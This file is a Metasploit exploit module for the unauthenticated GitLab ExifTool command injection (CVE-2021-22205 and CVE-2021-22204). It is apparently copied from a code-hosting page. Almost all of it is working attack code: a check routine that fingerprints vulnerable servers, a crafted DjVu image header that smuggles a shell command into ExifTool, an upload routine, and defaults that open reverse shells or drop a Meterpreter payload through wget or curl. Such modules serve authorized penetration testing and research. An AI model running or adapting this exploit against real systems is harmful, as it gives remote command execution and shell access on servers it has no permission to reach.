191 lines
7.0 KiB
Ruby
191 lines
7.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'GitLab Unauthenticated Remote ExifTool Command Injection',
|
|
'Description' => %q{
|
|
This module exploits an unauthenticated file upload and command
|
|
injection vulnerability in GitLab Community Edition (CE) and
|
|
Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6,
|
|
and 13.8.8.
|
|
|
|
Exploitation will result in command execution as the git user.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'William Bowling', # Vulnerability discovery and CVE-2021-22204 PoC
|
|
'jbaines-r7' # Metasploit module
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2021-22205' ], # GitLab
|
|
[ 'CVE', '2021-22204' ], # ExifTool
|
|
[ 'URL', 'https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/' ],
|
|
[ 'URL', 'https://hackerone.com/reports/1154542' ],
|
|
[ 'URL', 'https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis' ],
|
|
[ 'URL', 'https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/' ]
|
|
],
|
|
'DisclosureDate' => '2021-04-14',
|
|
'Platform' => ['unix', 'linux'],
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'Payload' => {
|
|
'Space' => 290,
|
|
'DisableNops' => true,
|
|
'BadChars' => '#'
|
|
},
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_openssl'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :linux_dropper,
|
|
'CmdStagerFlavor' => [ 'wget', 'lwprequest', 'curl', 'printf' ],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 1,
|
|
'DefaultOptions' => {
|
|
'MeterpreterTryToFork' => true
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
|
])
|
|
end
|
|
|
|
def upload_file(file_data, timeout = 20)
|
|
random_filename = "#{rand_text_alphanumeric(6..12)}.jpg"
|
|
multipart_form = Rex::MIME::Message.new
|
|
multipart_form.add_part(
|
|
file_data,
|
|
'image/jpeg',
|
|
'binary',
|
|
"form-data; name=\"file\"; filename=\"#{random_filename}\""
|
|
)
|
|
|
|
random_uri = normalize_uri(target_uri.path, rand_text_alphanumeric(6..12))
|
|
print_status("Uploading #{random_filename} to #{random_uri}")
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => random_uri,
|
|
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
|
|
'data' => multipart_form.to_s
|
|
}, timeout)
|
|
end
|
|
|
|
def check
|
|
# Checks if the instance is a GitLab install by looking for the
|
|
# 'About GitLab' footer or a password redirect. If that's successful
|
|
# a bogus jpg image is uploaded to a bogus URI. The patched versions
|
|
# should never send the bad image to ExifTool, resulting in a 404.
|
|
# The unpatched versions should feed the image to the vulnerable
|
|
# ExifTool, resulting in a 422 error message.
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/users/sign_in')
|
|
})
|
|
|
|
unless res
|
|
return CheckCode::Unknown('Target did not respond to check.')
|
|
end
|
|
|
|
# handle two cases. First a normal install will respond with HTTP 200.
|
|
# Second, if the root password hasn't been set yet then this will
|
|
# redirect to the password reset page.
|
|
unless (res.code == 200 && res.body.include?('>About GitLab<')) ||
|
|
(res.code == 302 && res.body.include?('/users/password/edit?reset_password_token'))
|
|
return CheckCode::Safe('Not a GitLab web interface')
|
|
end
|
|
|
|
res = upload_file(rand_text_alphanumeric(6..32))
|
|
unless res
|
|
return CheckCode::Detected('The target did not respond to the upload request.')
|
|
end
|
|
|
|
case res.code
|
|
when 422
|
|
if res.body.include?('The change you requested was rejected.')
|
|
return CheckCode::Vulnerable('The error response indicates ExifTool was executed.')
|
|
end
|
|
when 404
|
|
if res.body.include?('The page could not be found')
|
|
return CheckCode::Safe('The error response indicates ExifTool was not run.')
|
|
end
|
|
end
|
|
|
|
return CheckCode::Detected
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
# printf needs all '\' to be double escaped due to ExifTool parsing
|
|
if cmd.start_with?('printf ')
|
|
cmd = cmd.gsub('\\', '\\\\\\')
|
|
end
|
|
|
|
# header and trailer are taken from William Bowling's echo_vakzz.jpg from their original h1 disclosure.
|
|
# The 'cmd' variable is sandwiched in a qx## function.
|
|
payload_header = "AT&TFORM\x00\x00\x03\xAFDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00"\
|
|
"\x00\xAC\xFF\xFF\xDE\xBF\x99 !\xC8\x91N\xEB\f\a\x1F\xD2\xDA\x88\xE8k\xE6D\x0F,q\x02\xEEI\xD3n"\
|
|
"\x95\xBD\xA2\xC3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\b\x00\b\x18\x00d\x00\x16\x00IN"\
|
|
"CL\x00\x00\x00\x0Fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\b\x00\b\x8A\xE6\xE1"\
|
|
"\xB17\xD9\x7F*\x89\x00BG44\x00\x00\x00\x04\x01\x0F\xF9\x9FBG44\x00\x00\x00\x02\x02\nFORM\x00\x00"\
|
|
"\x03\aDJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx#"
|
|
payload_trailer = "# . \\\x0a\" b \") )" + (' ' * 421)
|
|
|
|
res = upload_file(payload_header + cmd + payload_trailer, 5)
|
|
|
|
# Successful exploitation can result in no response (connection being held open by a reverse shell)
|
|
# or, if the command executes immediately, a response with a 422.
|
|
if res && res.code != 422
|
|
fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")
|
|
end
|
|
|
|
print_good('Exploit successfully executed.')
|
|
end
|
|
|
|
def exploit
|
|
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
|
case target['Type']
|
|
when :unix_cmd
|
|
execute_command(payload.encoded)
|
|
when :linux_dropper
|
|
# payload is truncated by exiftool after 290 bytes. Because we need to
|
|
# expand the printf flavor by a potential factor of 2, halve the linemax.
|
|
execute_cmdstager(linemax: 144)
|
|
end
|
|
end
|
|
end
|